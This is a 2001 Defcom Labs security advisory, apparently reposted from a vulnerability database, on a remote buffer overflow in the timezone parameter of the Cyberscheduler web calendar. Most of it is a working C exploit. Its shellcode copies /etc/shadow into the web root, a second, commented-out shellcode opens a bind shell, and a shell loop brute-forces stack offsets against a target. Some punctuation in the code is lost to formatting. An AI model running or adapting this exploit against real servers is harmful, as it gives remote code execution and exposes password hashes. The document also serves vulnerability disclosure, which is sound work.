Cyberscheduler remote root compromise

Type securityvulns
Reporter Securityvulns
Modified 2001-04-19T00:00:00


====================================================================== Defcom Labs Advisory def-2000-18

        Cyberscheduler remote root/execution compromise

Author: Enrique A. Sanchez Montellano <> Release Date: 2001-04-17 ====================================================================== ------------------------=[Brief Description]=------------------------- Due to no bounds checking in the condition of the timetzone variable in the login verification in the cyberscheduler paackage a buffer overflow occurs, thus rendering execution on the remote machine.

------------------------=[Affected Systems]=-------------------------- Linux: Mandrake, RedHat, Slackware, Caldera, Suse, Debian. Windows: NT, 2000 (IIS 4.0 and 5.0). Solaris: 2.5, 2.6, 7, 8.

----------------------=[Detailed Description]=------------------------ Due to an assumption in the size of the variable passed as timezone in the login procedure of the cybercalendar cyberscheduler it occurs a buffer overflow that renders the complete stack.

The size of the variable, wich is 262 bytes, makes the assumption that the size of the timezone will not change, while mapping the login the deamon websyncd tries to set the variable timezone and then the overflow occurs, there is no need to have a working username in the machine the buffer overflow occurs before the username is set.

The offending command is:

/cgi-bin/websync.exe?ed=&Es=7x1x101&un=nahual&hn=lab&rpt=/scheduler/ En_US/WebResources&cbn=/cgi-bin/websync.exe&dow=sun&dmy=Off&tfh=Off &lan=En_US&ix=0&amd=2&epw=WiXwWFp&mrd=-1&mrc=0&mrb=0&bnv=9&ds=7x1x101 &tzs=PST8PDT

If the variable tzs is increased to over 300 the program crashes thus rendering the stack completly to the intruder.

A proof of concept exploit has been coded and is being released to test is your system is vulnerable.

--- x-cybershcehd.c --- /* PRIVATE -- DO NOT DISTRIBUTE!! x-cybershed.c

TimeZONE buffer overflow on cgi script rendering complete control of the stack.

Enrique A. Sanchez Montellano */

include <stdio.h>

include <stdlib.h>

include <unistd.h>

include <string.h>

include <netdb.h>

include <sys/types.h>

include <sys/socket.h>

include <sys/wait.h>

include <sys/stat.h>

include <sys/time.h>

include <netinet/in.h>

include <netdb.h>

include <fcntl.h>

include <time.h>

include <wait.h>

include <errno.h>

define OFFSET 0

define ALIGN 0

define BUFFER 264

/ Definicion de colores /

define VERDE "\E[32m"

define BRILLOSO "\E[1m"

define NORMAL "\E[m"

define ROJO "\E[31m"

define CELESTE "\E[36m"

define AZUL "\E[34m"

define AMARILLO "\E[33m"

define MORADO "\E[35m"

//passive port 0x8000 shell (written by agent0nd) //static char Hellcode[]= //"\xeb\x4b\x5f\x87\xfe\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89" //"\x46\x08\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x80" //"\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46" //"\x08\xb0\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb" //"\x02\xeb\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29" //"\xc9\xb0\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69" //"\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89" //"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0" //"\x40\xcd\x80\xe8\x62\xff\xff\xff";

/ cp /etc/shadow /var/lib/httpd/htdocs / static char Hellcode[]= "\xeb\x3a\x5f\x31\xc0\x89\xfa\x89\x57\x64\x80\xc2\x36\x89\x57\x68\x80\xc2\x33\x80\xea\x30\x89\x57\x6c\x89\x47\x70\x88\x47\x25\x88\x47\x38\x88\x47\x62\xb0\x73\x2c\x53\x88\x47\x40\x88\x47\x4c\xb0\x6c\x2c\x61\x89\xfb\x8d\x4f\x64\x31\xd2\xcd\x80\xe8\xc1\xff\xff\xff\x2f\x73\x62\x69\x6e\x2f\x2e\x2e\x2f\x73\x62\x69\x6e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x73\x68XAGENT.OND.DEFCOM\x2d\x63\x58\x2f\x62\x69\x6e\x2f\x63\x70\x58\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x58\x2f\x76\x61\x72\x2f\x6c\x69\x62\x2f\x68\x74\x74\x70\x64\x2f\x68\x74\x64\x6f\x63\x73";

unsigned long resolver (char serv) { struct sockaddr_in sinn; struct hostent hent;

hent = gethostbyname (serv); bzero ((char ) &sinn, sizeof (sinn)); memcpy ((char ) &sinn.sin_addr, hent->h_addr, hent->h_length); return sinn.sin_addr.s_addr;


unsigned long get_sp(void) { asm("movl %esp, %eax"); }

void usage(char *name) { printf("Usage:\n"); printf("%s <victim> <offset> <align> <buffer> \n\n", name); }

int connex(u_long victim) { int sockfd; struct sockaddr_in hostaddr;

if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("connex"); exit(-1); }

hostaddr.sin_port = htons(80); hostaddr.sin_addr.s_addr = victim; hostaddr.sin_family = AF_INET;

if((connect(sockfd, (struct sockaddr *) &hostaddr, sizeof(hostaddr))) < 0 ) { perror("connex"); exit(-1); }

return sockfd; }

int ataque(int victim, char *command) { int sockfd, retval, i; char tmp[256]; fd_set rfds; struct timeval timer; char part1[1024] = "/cgi-bin/websync.cgi?ed=&Es=7x1x101&un=Defcom&hn=lab&rpt=/cybersched/En_US/WebResources&cbn=/cgi-bin/websync.cgi&dow=sun&dmy=Off&tfh=Off&lan=En_US&ix=0&amd=2&epw=WXxiAkS&mrd=-1&mrc=0&mrb=0&bnv=9&ds=7x1x101&tzs="; char fancy[] = "Host:\nConnection: Keep-Alive\nUser-Agent: Defcom Labs @ Spain version 0.1\nContent-type: aplication/x-www-form-urlencoded\n";

sockfd = connex(victim);

FD_ZERO(&rfds); FD_SET(sockfd, &rfds); timer.tv_sec = 5; timer.tv_usec = 0;

retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);

if(retval) { printf("%s[ + ] Atacking the server ... \n%s", VERDE, NORMAL); write(sockfd, "GET ", strlen("GET ")); write(sockfd, part1, strlen(part1)); write(sockfd, command, strlen(command)); write(sockfd, "\n", strlen("\n")); // Fancy stuff ... LoL! write(sockfd, fancy, strlen(fancy)); write(sockfd, "\n\n", strlen("\n\n")); for(i = 0; i < 256; i++) { tmp[i] = '\0'; } read(sockfd, tmp, sizeof(tmp)); } else { printf("%sTime out!!!!!\n%s", ROJO, NORMAL); exit(-1); }


int main(int argc, char argv) { int offset = OFFSET; int align = ALIGN; int buffer = BUFFER; struct hostent hent; char command; unsigned long addr; int i, victim;

if(argc < 2) { usage(argv[0]); exit(0); }

if(argc > 2) offset = atoi(argv[2]); if(argc > 3) align = atoi(argv[3]); if(argc > 4) buffer = atoi(argv[4]);

if((hent = gethostbyname(argv[1])) == NULL) { perror("x-cybersched"); exit(1); }

printf("%sX-Cybersched\n", AZUL); printf("------------------------------------\n"); printf("Remote exploit .... by\n"); printf("Enrique Sanchez (\n%s", NORMAL);

ifdef DEBUG

printf("%s[ + DEBUG + ] Buffer is %d\n%s", AMARILLO, buffer, NORMAL); printf("%s[ + DEBUG + ] The size of the shellcode is %d\n%s", AMARILLO, strlen(Hellcode), NORMAL);


addr = 0xbfffffff - offset; command = (char *)malloc(buffer);

printf("%s[ + ] Using addres: 0x%x\n%s", VERDE, addr, NORMAL);

ifdef DEBUG

printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO, command, NORMAL);


printf("%s[ + ] Filling buffer for exploitation ... \n%s", VERDE, NORMAL);

for(i = 0; i < buffer; i += 4) { (long )&command[i] = 0x90909090; } (long )&command[buffer - 4] = addr;

ifdef DEBUG

printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO, command, NORMAL);


memcpy(command + buffer - strlen(Hellcode) - 4, Hellcode, strlen(Hellcode));

ifdef DEBUG

printf("%s[ + DEBUG + ] Command right now is: %s\n\n%s", AMARILLO, command, NORMAL);


ataque(resolver(argv[1]), command);

return 0; }

--- x-cybdersched.c ---

--- ---


L=2000 O=40 while [ $L -lt 12000 ] do echo $L L=`expr $L + 1` ./x-cybershed $L done --- ---

---------------------------=[Workaround]=----------------------------- Crosswind has developed a patch wich is available at their site.

-------------------------=[Vendor Response]=-------------------------- This problem was brought to crosswinds attention on february 15th 2001. They have worked fastly on the problem and have responded in a very professional and excelent manner, thank you for your fast and professional responses.

====================================================================== This release was brought to you by Defcom Labs @ Spain